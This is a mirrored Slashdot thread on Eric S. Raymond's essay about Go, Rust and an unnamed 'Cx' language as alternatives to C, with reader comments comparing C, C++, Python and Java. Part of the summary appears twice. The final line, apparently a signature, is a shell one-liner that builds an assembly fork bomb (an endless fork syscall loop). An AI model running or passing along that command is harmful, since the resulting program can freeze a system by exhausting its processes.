Slashdot Mirror
ESR Sees Three Viable Alternatives To C (ibiblio.org)
An anonymous reader writes:
After 35 years of programming in C, Eric S. Raymond believes that we're finally seeing viable alternatives to the language. "We went thirty years -- most of my time in the field -- without any plausible C successor, nor any real vision of what a post-C technology platform for systems programming might look like. Now we have two such visions...and there is another."
"I have a friend working on a language he calls 'Cx' which is C with minimal changes for type safety; the goal of his project is explicitly to produce a code lifter that, with minimal human assistance, can pull up legacy C codebases. I won't name him so he doesn't get stuck in a situation where he might be overpromising, but the approach looks sound to me and I'm trying to get him more funding. So, now I can see three plausible paths out of C. Two years ago I couldn't see any. I repeat: this is huge... Go, or Rust, or Cx -- any way you slice it, C's hold is slipping."
Raymond's essay also includes a fascinating look back at the history of programming languages after 1982, when the major complied languages (FORTRAN, Pascal, and COBOL) "were either confined to legacy code, retreated to single-platform fortresses, or simply ran on inertia under increasing pressure from C around the edges of their domains.
"Then it stayed that way for nearly thirty years."
"I have a friend working on a language he calls 'Cx' which is C with minimal changes for type safety; the goal of his project is explicitly to produce a code lifter that, with minimal human assistance, can pull up legacy C codebases. I won't name him so he doesn't get stuck in a situation where he might be overpromising, but the approach looks sound to me and I'm trying to get him more funding. So, now I can see three plausible paths out of C. Two years ago I couldn't see any. I repeat: this is huge... Go, or Rust, or Cx -- any way you slice it, C's hold is slipping."
Raymond's essay also includes a fascinating look back at the history of programming languages after 1982, when the major complied languages (FORTRAN, Pascal, and COBOL) "were either confined to legacy code, retreated to single-platform fortresses, or simply ran on inertia under increasing pressure from C around the edges of their domains.
"Then it stayed that way for nearly thirty years."
Just because they will be different, funnier and hipster than regular ones.
We are in [current year] for goodness sake!, modernity must be made of fads that beget novelty from novelty's sake.
Also boring, regular hammers and nails have been more or less as they are for millennia for some unknown reason (functionality? familiarity?, experience? previous use cases?, what's that?).
The time to change those old tools is really long overdue.
For as long as we're running Von Neumann architecture machines then C and C++ will continue to dominate anything and everything that needs to be high performance and/or low-level/hardware access.
Because if you don't need C/C++ then you're scripting or whatever much-higher-level language stuff. Languages like Go and Rust fit somewhere in between... no-man's land, where they're doomed to get lost like every single previous attempt at such languages.
The ratio of people to cake is too big
Claiming "I have a friend....trust me on this" instills so much trust, doesn't it?
Static code analysis and runtime checking (valgrind) pretty makes C's little issues a non-event now.
And that lack of type safety is actually needed in some domains, so solving it makes it harder to write say kernel code.
The only problems I've seen with C in the last fifteen years are when the ****ing C++ zealots get control of the C compiler and have managed to break C in the process ;)
Lots of smart people have tried hard to pull this off. See, for example C-Cured from UC Berkeley. They did not take off. I doubt ESR's "friend" is going to succeed where they failed.
I think an approach like Rust is more likely to be successful, where in addition to providing safety you provide a lot of nice language features to make the language more appealing.
What I want from a programming language are Standard, Stability and Speed. Nobody minds the little quirks, redundancies or the lack of elegance. When I program something today, I want it to run in 10 years, without modifications! In particular, I want the language to be around still, the grammar once put stay a standard. I want the program to run stably. In particular, I expect developers to be very careful when changing the compiler. Even small changes annoy. An example in C (which is in general quite good in respect to stability) it was no more possible to run gcc -lm example.c . Linking the math library required gcc example.c -lm. One has to change now 700 Makefiles just because somebody thought this is more elegant? I don't mind if a language is extended or sped up, but don't for change old grammar, not even the smallest things. There is lot of code around which would need to be fixed. I'm in particular careful with new languages. They first hype and spike. A language needs to earn respect, prove that it is stable over a long period of time.
Programmers who think being efficient means churning out lines of code are not worth hiring anyway. Coding is a small, even tiny part of software development.
C++ has all the bad parts from both C and Object-orienting with little added benefit. There's also a reason why for example the Linux kernel isn't written in C++ but C, and that is the memory management of C++ that isn't predictable for use in the kernel.
C actually is a pretty good language, but it has at least two disadvantages:
1. No strong typing.
2. Pointers - you can with no warning work outside the predicted area so you can easily overwrite the stack or just about anything else.
The quirk with C is that the unrestricted pointers also is an advantage in some cases so it's not a good idea to entirely scrap that ability.
C is also a pretty good language when it comes to writing small compact efficient code that is portable between hardware architectures. It puts demands on the programmer to be competent and really be careful about what he's doing, but the gain is great. This is very useful in embedded solutions. And if you look at what you use when you program Arduino then it's C.
The only alternative to C in some environments is assembly programming, but that puts a lot more demand on the programmers.
If builders built buildings the way programmers wrote programs, then the first woodpecker would destroy civilization.
1. No strong typing.
2. Pointers
I've been programming in C for a few decades, and I've made plenty of mistakes over the years, but very few of them had anything to do with strong typing or pointers. Most of them are just logic mistakes that I could have made in any other language.
I think a "new c" might look a lot like Go - without the handicap of garbage collection.
There hasn't been a garbage collector written yet that doesn't constitute an outright insult to performance and predictability.
I've fallen off your lawn, and I can't get up.
A lot less than Bitcoin's.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Python is a mixed bag.
It takes much longer to write all but the most trivial stuff in C. Languages like Python let you be exceedingly lazy. However like pretty much all managed runtimes, it is slow and inefficient, and even within the realm of managed runtimes, CPython isn't a particulalry fast or robust one.
Also a language that lets the programmer be lazy is one that leads to poor performance decisions. In C, if it is hard for the computer, you are made to realize it is hard because it's more work to program. In C, if something is an operator (like +/-/[]/etc) it's a fairly deterministic handful of assembly instructions (C++ does not have that characteristic, what with operator overrides and such of course). In Python, that could be simple operators, or it could be some mallocs and several memcpys, who knows. You want to use a hash? In C you are going to use moderately tedious function calls because hashes are an expensive choice compared to when you can get away with an array or struct. In Python? Sure, go to town, hash everything. You want to mix and match integers and strings in an array? In C, yeah, you know that's a stupid idea because it's hard to do. In Python, not a single thought required so people do it. Such code cannot be optimized by any language implementation.
Of course, the above doesn't matter much of the time because the difference in good and bad CPU performance is orders of magnitude smaller than the network IO delays that many applications are contending with, so the "let the programmer be lazy and produce crappy code" doesn't matter since a developer can just crank though the code they want to do without a thought and that's sometime totally worth it,.
Also talking about a language where there is threading, but made utterly useless by the GIL. The answer of course was "well you don't need threads anyway, other methods give the appearance of similar concurrency when I/O bound and are harder to screw up" (which is frequently true for many applications, but no comfort to the subset for which that is not true.
XML is like violence. If it doesn't solve the problem, use more.
People always say this - programmer time is expensive, compute power cheap, efficiency doesn't matter.
However look at Reddit. They originally wrote in Lisp, and then rewrote it in Python. And it's still slow enough it goes down regularly. Despite the fact that it's using a relatively light framework - web.py and then Pylons.
You could imagine writing a web framework in something like C or C++ that would be much more efficient than Python.
I mean I like both Python and C/C++. Python is definitely easier to prototype stuff in. C/C++ is fast as hell. And if you're serving a website to vast numbers of people that means you need less hardware to do it.
Or look at Windows apps. .Net and Java ones are so crappy I avoid them. Native Win32 with a stripped down framework gives you tiny, fast applications like uTorrent.
I'm still convinced a lot of the smoothness of iOS applications over Android is because Apple use Objective C while Google use Java. You can handwave away the slowness of Java with things like JIT and AOT code conversion but just picking the two devices up you can see that Android is not a particularly performant environment.
Now personally a multi vendor OS is important enough that I can live with it being a bit crappy so I went from Windows Mobile to Android and not to iOS. Android, like Windows Mobile before it is multivendor which means you have cheap hardware and loads of free or cheap software and third party Roms and firmware images. Like Windows Mobile it's kind of a mess though - Windows Mobile was always about ten years behind the state of the art in terms of UIs. Android is crippled because most of the applications are written in Java.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;